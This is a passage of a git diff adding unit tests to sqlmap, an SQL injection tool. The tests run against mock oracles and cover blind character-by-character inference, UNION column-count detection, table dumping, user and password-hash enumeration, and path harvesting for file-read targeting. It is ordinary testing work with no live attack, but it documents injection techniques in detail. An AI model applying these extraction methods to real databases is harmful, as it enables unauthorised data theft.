truth, self.DIALECT, "version()"), secret) + + def test_infer_expr_batched_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "note"), secret) + + def test_infer_expr_batched_empty(self): + truth = _make_sql_truth("", self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "expr"), "") + + def test_inferrer_picks_batched_when_supported(self): + secret = "abc" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + infer = gql._inferrer(truth, truthBatch, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_inferrer_falls_back_to_sequential(self): + secret = "xyz" + truth = _make_sql_truth(secret, self.DIALECT) + infer = gql._inferrer(truth, None, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_fingerprint(self): + for dbms, dialect in gql.DIALECTS.items(): + truth = lambda cond, expected=dialect.fingerprint: cond == expected + self.assertEqual(gql._fingerprint(truth), dbms) + + def test_fingerprint_unknown(self): + self.assertIsNone(gql._fingerprint(lambda cond: False)) + + +class TestGraphqlDumpTable(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_dump_table_grid(self): + # Columns and rows are BOTH enumerated by ordinal position (COUNT + per-index), + # never a whole-list GROUP_CONCAT the back-end would silently truncate. + d = self.DIALECT + colFrom = d.columnFrom("users") + responses = { + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM users)": "2", + d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } + + def infer(expr, maxLen=gql.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gql._dumpTable(infer, self.DIALECT, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "alice"], ["2", "bob"]]) + + def test_dump_table_no_columns(self): + self.assertIsNone(gql._dumpTable(lambda e, maxLen=0: "", self.DIALECT, "users")) + + +class TestGraphqlParseRows(unittest.TestCase): + def test_parse_rows_list(self): + page = '{"data": {"users": [{"id": 1, "name": "a"}, {"id": 2, "name": "b"}]}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "a"], ["2", "b"]]) + + def test_parse_rows_single_object(self): + page = '{"data": {"user": {"id": 7, "name": "z"}}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["7", "z"]]) + + def test_parse_rows_null_data(self): + self.assertIsNone(gql._parseRows('{"data": {"user": null}}', None)) + + def test_parse_rows_non_json(self): + self.assertIsNone(gql._parseRows("not json", None)) + + def test_grid_empty(self): + self.assertEqual(gql._grid([], []), "(empty)") + + def test_grid_renders(self): + out = gql._grid(["a", "b"], [["1", "22"]]) + self.assertIn("| a | b |", out) + self.assertIn("| 1 | 22 |", out) + + +# =========================================================================== +# Blind inference: lib/techniques/blind/inference.py +# =========================================================================== + +# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). A parseable template +# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, + "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, + "resumeValues": True, "inferenceMode": False} + + +class _InferenceCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _install_oracle(self, secret): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + @staticmethod + def _reset_thread(): + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + + def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): + self._install_oracle(secret) + self._reset_thread() + if length is None: + length = len(secret) + return inf.bisection(TEMPLATE, expression, length=length, **kwargs) + + +class TestTrivialReturns(_InferenceCase): + def test_none_payload(self): + # payload is None -> (0, None) without ever touching the oracle + self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) + + def test_zero_length(self): + # length == 0 -> (0, "") short-circuit + self._install_oracle("ignored") + self._reset_thread() + self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) + + +class TestRangeLimiting(_InferenceCase): + SECRET = "ABCDEFGH" + + def test_first_char_arg(self): + # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" + _, value = self._bisect(self.SECRET, firstChar=3) + self.assertEqual(value, "CDEFGH") + + def test_last_char_arg(self): + # lastChar=4 -> stop after the 4th character + _, value = self._bisect(self.SECRET, lastChar=4) + self.assertEqual(value, "ABCD") + + def test_conf_first_char(self): + conf.firstChar = 4 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "DEFGH") + + def test_conf_last_char(self): + conf.lastChar = 3 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "ABC") + + def test_first_and_last_window(self): + # combined window: chars 3..6 inclusive -> "CDEF" + _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) + self.assertEqual(value, "CDEF") + + +class TestHexConvert(_InferenceCase): + def test_hex_output_decoded(self): + # --hex: the retrieved value is a hex string the engine decodes on the way out + conf.hexConvert = True + hexed = "48656C6C6F" # "Hello" + _, value = self._bisect(hexed) + self.assertEqual(value, "Hello") + self.assertEqual(value, decodeDbmsHexValue(hexed)) + + +class TestProcessCharHook(_InferenceCase): + def test_process_char_applied_to_each_char(self): + # kb.data.processChar transforms every assembled character + kb.data.processChar = lambda c: c.upper() + _, value = self._bisect("abcde") + self.assertEqual(value, "ABCDE") + + +class TestResumeFromHashDB(_InferenceCase): + """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). + Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" + + def setUp(self): + _InferenceCase.setUp(self) + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + conf.hashDB = HashDB(self.path) + # hashDBRetrieve/Write key off these + self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + conf.hostname = "test.invalid" + conf.path = "/" + conf.port = 80 + + def tearDown(self): + conf.hostname, conf.path, conf.port = self._saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + _InferenceCase.tearDown(self) + + def test_full_value_resumed(self): + # a complete cached value short-circuits the whole bisection (0 queries) + hashDBWrite("SELECT cached", "RESUMED") + conf.hashDB.flush() + count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) + self.assertEqual(value, "RESUMED") + self.assertEqual(count, 0) + + def test_partial_value_continued(self): + # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix + # and extracts only the remaining characters + kb.inferenceMode = True # partial markers are honored only in inference mode + hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) + conf.hashDB.flush() + count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) + self.assertEqual(value, "ABCDE") + self.assertGreater(count, 0) # it did real work for "CDE" + + +class TestQueryOutputLength(_InferenceCase): + def test_length_retrieved(self): + # queryOutputLength forges a LENGTH() expression and runs bisection with the + # DIGITS charset; the mock "secret" is the textual length itself + self._install_oracle("42") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) + + def test_length_single_digit(self): + self._install_oracle("7") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) + + def test_digits_charset_extracts_number(self): + # direct bisection with the DIGITS charset (queryOutputLength's inner call) + _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) + self.assertEqual(value, "2026") + + +class TestConfigUnion(unittest.TestCase): + """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" + + _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._CONF} + self._saved_uchar = kb.get("uChar") + for k, v in self._CONF.items(): + conf[k] = v + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.uChar = self._saved_uchar + + def test_char_and_range(self): + uu.configUnion(char="NULL", columns="2-6") + self.assertEqual(kb.uChar, "NULL") + self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) + + def test_single_column(self): + uu.configUnion(char="NULL", columns="4") + self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) + + def test_uchar_substitution_quoted(self): + # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template + conf.uChar = "test" + uu.configUnion(char="x[CHAR]x", columns="1") + self.assertEqual(kb.uChar, "x'test'x") + + def test_uchar_substitution_digit(self): + # a digit conf.uChar is substituted unquoted + conf.uChar = "88" + uu.configUnion(char="[CHAR]", columns="1") + self.assertEqual(kb.uChar, "88") + + def test_conf_ucols_overrides_columns_arg(self): + # conf.uCols takes precedence over the columns argument + conf.uCols = "3-9" + uu.configUnion(char="NULL", columns="1-2") + self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) + + def test_non_integer_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") + + def test_inverted_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") + + def test_non_string_char_ignored(self): + # a non-string char leaves kb.uChar untouched (early return) + kb.uChar = "SENTINEL" + uu.configUnion(char=None, columns="1") + self.assertEqual(kb.uChar, "SENTINEL") + + +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py new file mode 100644 index 00000000000..0df01ee7a98 --- /dev/null +++ b/tests/test_texthelpers.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Text-processing helpers in lib/core/common.py: +normalizeUnicode (accent folding), filterStringValue (charset whitelist), +parseFilePaths (absolute-path harvesting from error pages -> kb.absFilePaths), +getSafeExString (safe exception rendering). + +parseFilePaths in particular feeds path disclosure / file-read targeting, so +its extraction is pinned with realistic PHP/ASP error strings. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import normalizeUnicode, filterStringValue, parseFilePaths, getSafeExString +from lib.core.data import kb + + +class TestNormalizeUnicode(unittest.TestCase): + def test_strips_accents(self): + self.assertEqual(normalizeUnicode(u"caf\xe9 r\xe9sum\xe9"), u"cafe resume") + + def test_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"plain ascii 123"), u"plain ascii 123") + + +class TestFilterStringValue(unittest.TestCase): + def test_keep_lowercase(self): + self.assertEqual(filterStringValue("abc123!@#", r"[a-z]"), "abc") + + def test_keep_digits(self): + self.assertEqual(filterStringValue("a1b2c3", r"[0-9]"), "123") + + def test_all_match(self): + self.assertEqual(filterStringValue("abc", r"[a-z]"), "abc") + + +class TestParseFilePaths(unittest.TestCase): + def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) + kb.absFilePaths = set() + + def test_unix_paths_from_php_error(self): + parseFilePaths("Warning: include(/var/www/html/config.php) failed " + "to open stream in /var/www/html/index.php on line 5") + self.assertIn("/var/www/html/config.php", kb.absFilePaths) + self.assertIn("/var/www/html/index.php", kb.absFilePaths) + + def test_windows_path(self): + # exact full path (not a substring) - a truncated harvest is a real defect for file-read targeting + parseFilePaths("Fatal error in C:\\inetpub\\wwwroot\\app\\index.asp on line 1") + self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, + msg="windows path not harvested in full: %s" % kb.absFilePaths) + + +class TestGetSafeExString(unittest.TestCase): + def test_format(self): + self.assertEqual(getSafeExString(ValueError("boom")), u"ValueError: boom") + + def test_runtime_error(self): + # RuntimeError keeps its name across py2/py3 (unlike IOError, which aliases to OSError on py3) + self.assertEqual(getSafeExString(RuntimeError("oops")), u"RuntimeError: oops") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_threads.py b/tests/test_threads.py new file mode 100644 index 00000000000..602d2c5acb8 --- /dev/null +++ b/tests/test_threads.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Threading helpers in lib/core/threads.py: the thread-local data model, +current-thread accessors, the exception-isolating wrapper, and runThreads() +(the worker-pool driver used throughout extraction). Exercised with trivial, +fast, network-free workers. +""" + +import os +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import threads as T +from lib.core.data import conf, kb +from thirdparty.six.moves import queue as _queue + + +class TestThreadData(unittest.TestCase): + def test_reset_initializes_fields(self): + td = T.getCurrentThreadData() + td.retriesCount = 5 + td.reset() + self.assertEqual(td.retriesCount, 0) + self.assertEqual(td.valueStack, []) + self.assertFalse(td.disableStdOut) + + def test_get_current_thread_data_is_threadlocal(self): + # ThreadData subclasses threading.local: the wrapper object is shared, but its + # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. + main = T.getCurrentThreadData() + self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests + + main.retriesCount = 111 + + other = {} + + def worker(): + td = T.getCurrentThreadData() + other["same_obj"] = (td is main) + # a fresh thread gets reset()-initialised state, NOT the main thread's 111 + other["retries_seen"] = td.retriesCount + td.retriesCount = 222 + + t = threading.Thread(target=worker) + t.start() + t.join() + + # the wrapper object identity is shared (threading.local semantics) ... + self.assertTrue(other["same_obj"]) + # ... but the worker never saw the main thread's mutation (thread-local state) ... + self.assertEqual(other["retries_seen"], 0) + # ... and the worker's own mutation did not leak back into the main thread + self.assertEqual(main.retriesCount, 111) + + def test_get_current_thread_name(self): + self.assertEqual(T.getCurrentThreadName(), threading.current_thread().name) + + +class TestExceptionHandledFunction(unittest.TestCase): + def test_success_runs_function(self): + calls = [] + T.exceptionHandledFunction(lambda: calls.append(1)) + self.assertEqual(calls, [1]) + + def _capture_errors(self, silent): + """Run a raising worker, returning the list of logged error messages.""" + errors = [] + + class _Rec(object): + def error(self, msg, *a): + errors.append(msg % a if a else msg) + + def __getattr__(self, name): + return lambda *a, **k: None + + saved_logger = T.logger + saved_continue = kb.get("threadContinue") + saved_multi = kb.get("multipleCtrlC") + T.logger = _Rec() + kb.threadContinue = True + kb.multipleCtrlC = False + try: + # must never propagate, regardless of the silent flag + T.exceptionHandledFunction(lambda: 1 / 0, silent=silent) + finally: + T.logger = saved_logger + kb.threadContinue = saved_continue + kb.multipleCtrlC = saved_multi + return errors + + def test_non_silent_logs_error(self): + # silent=False (with threadContinue) routes the swallowed exception to logger.error + errors = self._capture_errors(silent=False) + self.assertTrue(errors, msg="non-silent mode logged no error") + self.assertTrue(any("ZeroDivisionError" in e for e in errors), + msg="error message did not name the exception: %r" % errors) + + def test_silent_logs_nothing(self): + # silent=True gates the logging: the exception is swallowed without any error log + errors = self._capture_errors(silent=True) + self.assertEqual(errors, [], msg="silent mode unexpectedly logged: %r" % errors) + + def test_keyboardinterrupt_propagates(self): + def boom(): + raise KeyboardInterrupt + self.assertRaises(KeyboardInterrupt, T.exceptionHandledFunction, boom) + + +class TestSetDaemon(unittest.TestCase): + def test_sets_daemon_flag(self): + t = threading.Thread(target=lambda: None) + T.setDaemon(t) + self.assertTrue(t.daemon) + + +class TestRunThreads(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("threads", "hashDB")} + conf.hashDB = None + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_workers_drain_shared_queue(self): + q = _queue.Queue() + total = 50 + for i in range(total): + q.put(i) + seen = [] + lock = threading.Lock() + + def worker(): + while True: + try: + item = q.get_nowait() + except _queue.Empty: + break + with lock: + seen.append(item) + + conf.threads = 4 + T.runThreads(4, worker, startThreadMsg=False) + self.assertEqual(sorted(seen), list(range(total))) + + def test_single_thread_runs_worker(self): + calls = [] + conf.threads = 1 + T.runThreads(1, lambda: calls.append(1), startThreadMsg=False) + self.assertEqual(calls, [1]) + + def test_cleanup_function_invoked(self): + flags = [] + conf.threads = 2 + T.runThreads(2, lambda: None, + cleanupFunction=lambda: flags.append(1), + startThreadMsg=False) + self.assertTrue(flags) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py new file mode 100644 index 00000000000..f0592fe4e10 --- /dev/null +++ b/tests/test_union_engine.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The UNION-based column-count detection engine (lib/techniques/union/test.py). + +_findUnionCharCount discovers how many columns a UNION injection needs. Its +fastest path is the ORDER BY technique: a valid target accepts ORDER BY 1..N and +errors on ORDER BY N+1, so it binary-searches for N. We drive the REAL function +against a mock oracle (Request.queryPage replaced) that errors once the requested +column index exceeds a known true count - exercising the actual detection + +binary search with no live target. + +This requires the full injection context (conf.parameters / conf.paramDict / +kb.injection) because column detection builds real payloads via agent.payload. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.union.test as ut + +MARKER = "MARKER42" +VALID_PAGE = "results %s" % MARKER + +_CONF = {"string": MARKER, "notString": None, "regexp": None, "code": None, + "uCols": None, "uColsStart": 1, "uColsStop": 50, "base64Parameter": ()} +_KB = {"heavilyDynamic": False, "errorIsNone": False, "futileUnion": False, + "uChar": "NULL", "forceWhere": None} + + +class TestOrderByColumnCount(unittest.TestCase): + def setUp(self): + self._sc = {k: conf.get(k) for k in _CONF} + self._sk = {k: kb.get(k) for k in _KB} + self._sp = (conf.get("parameters"), conf.get("paramDict")) + self._sqp = Connect.queryPage + self._stmpl = kb.get("pageTemplate") + self._sinj = (kb.injection.place, kb.injection.parameter) + + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + kb.pageTemplate = VALID_PAGE + kb.injection.place = None + kb.injection.parameter = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.parameters, conf.paramDict = self._sp + kb.pageTemplate = self._stmpl + kb.injection.place, kb.injection.parameter = self._sinj + Connect.queryPage = self._sqp + ut.Request.queryPage = self._sqp + + def _detect(self, true_count): + def oracle(payload=None, place=None, content=False, raise404=True, **kwargs): + m = re.search(r"ORDER BY (\d+)", payload or "") + cols = int(m.group(1)) if m else 1 + if cols <= true_count: + page = VALID_PAGE + else: + page = "Unknown column '%d' in 'order clause'" % cols + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + ut.Request.queryPage = staticmethod(oracle) + kb.orderByColumns = None + return ut._findUnionCharCount("-- -", PLACE.GET, "id", "1", "", "", PAYLOAD.WHERE.ORIGINAL) + + def test_detect_single_column(self): + self.assertEqual(self._detect(1), 1) + + def test_detect_small(self): + self.assertEqual(self._detect(3), 3) + + def test_detect_medium(self): + self.assertEqual(self._detect(7), 7) + + def test_detect_larger(self): + self.assertEqual(self._detect(12), 12) + + def test_detect_beyond_first_step(self): + # > ORDER_BY_STEP (10): forces the expand-then-bisect branch + self.assertEqual(self._detect(25), 25) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_urls.py b/tests/test_urls.py new file mode 100644 index 00000000000..3d67d17a55a --- /dev/null +++ b/tests/test_urls.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +URL encode/decode round-trips, parameter parsing, same-host checks. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import urldecode, urlencode, paramToDict, checkSameHost +from lib.core.enums import PLACE + +RND = random.Random(11) + + +class TestUrlCoding(unittest.TestCase): + def test_known(self): + self.assertEqual(urldecode("a%20b"), u"a b") + self.assertEqual(urlencode("a b&c"), "a%20b&c") + + def test_encode_is_not_identity(self): + # anchor so the round-trip property below can't pass with no-op functions: + # special chars MUST be percent-encoded + encoded = urlencode("a b&c=d", safe="") + self.assertNotIn(" ", encoded) + self.assertNotIn("&", encoded) + self.assertEqual(encoded, "a%20b%26c%3Dd") + + def test_roundtrip_property(self): + import string + # NOTE: urldecode() by default preserves URL-structural chars (?, &, =, +, ;) so a full + # round-trip needs convall=True; '+' still excluded (form-encoding maps it to space). + alphabet = string.ascii_letters + string.digits + " &=?/#@:,'\"" + for _ in range(2000): + s = "".join(RND.choice(alphabet) for _ in range(RND.randint(0, 25))) + roundtripped = urldecode(urlencode(s, safe=""), convall=True) + self.assertEqual(roundtripped, s, msg="roundtrip %r" % s) + + +class TestParamToDict(unittest.TestCase): + def test_get(self): + d = paramToDict(PLACE.GET, "a=1&b=2&c=3") + self.assertEqual(d.get("a"), "1") + self.assertEqual(d.get("b"), "2") + self.assertEqual(d.get("c"), "3") + + def test_get_single(self): + d = paramToDict(PLACE.GET, "id=42") + self.assertEqual(d.get("id"), "42") + + +class TestSameHost(unittest.TestCase): + def test_same(self): + self.assertTrue(checkSameHost("http://h/a", "http://h/b")) + self.assertTrue(checkSameHost("http://h:80/a", "http://h:80/b")) + + def test_www_prefix_is_same(self): + # documented behavior: a leading www. is normalized away + self.assertTrue(checkSameHost("http://example.com/a", "http://www.example.com/b")) + + def test_different_host_is_false(self): + # discriminating: an always-True implementation must fail here + self.assertFalse(checkSameHost("http://h/a", "http://other/b")) + self.assertFalse(checkSameHost("http://example.com/a", "http://evil.com/b")) + + def test_one_none_is_false(self): + self.assertFalse(checkSameHost("http://h/a", None)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py new file mode 100644 index 00000000000..f20c143280a --- /dev/null +++ b/tests/test_users_enum.py @@ -0,0 +1,482 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/users.py. + +The injection layer (lib.request.inject.getValue) is mocked so the methods can +be exercised against canned result rows without a live target, network, or DBMS. +Each test sets conf.direct = True to drive the inband (union/error/query OR +conf.direct) branch of the method under test, patches inject.getValue with rows +matching the shape the method parses, then asserts the relevant kb.data.cached* +container was populated. Inference (blind) branches set conf.direct = False with a +BOOLEAN technique present and follow the count-then-per-index contract. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.users as umod +from plugins.generic.users import Users +from lib.core.settings import CURRENT_USER + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class TestUsersEnum(unittest.TestCase): + def setUp(self): + # Snapshot the global state these tests mutate so tearDown can restore it + # exactly (other test files share conf / kb / the inject module). + self._direct = conf.direct + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + # Neutralize the side effects getPasswordHashes triggers once it has + # populated the cache (file write + interactive dictionary attack prompt). + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + # --- getUsers ----------------------------------------------------------- + + def test_get_users_mysql(self): + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertIn("root", kb.data.cachedUsers) + + def test_get_users_postgresql(self): + set_dbms("PostgreSQL") + umod.inject.getValue = lambda query, *a, **k: [["postgres"], ["app"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertEqual(sorted(res), ["app", "postgres"]) + + def test_get_users_mssql(self): + set_dbms("Microsoft SQL Server") + umod.inject.getValue = lambda query, *a, **k: [["sa"], ["dbo"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("sa", res) + + def test_get_users_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS"], ["SYSTEM"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("SYS", res) + + def test_get_users_none_leaves_cache_empty(self): + # isNoneValue([]) -> cache stays empty; inband branch skips appends. + # Strengthen: prove getUsers actually QUERIED (no stale-cache short-circuit + # returning the constant []) by spying on getValue, then in the same test + # re-run with a non-empty result to prove the cache repopulates from the + # newly fetched rows. + calls = {"n": 0} + + def gv_empty(query, *a, **k): + calls["n"] += 1 + return [] + + umod.inject.getValue = gv_empty + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(res, []) + # The inband branch must have issued at least one query, not short-circuited. + 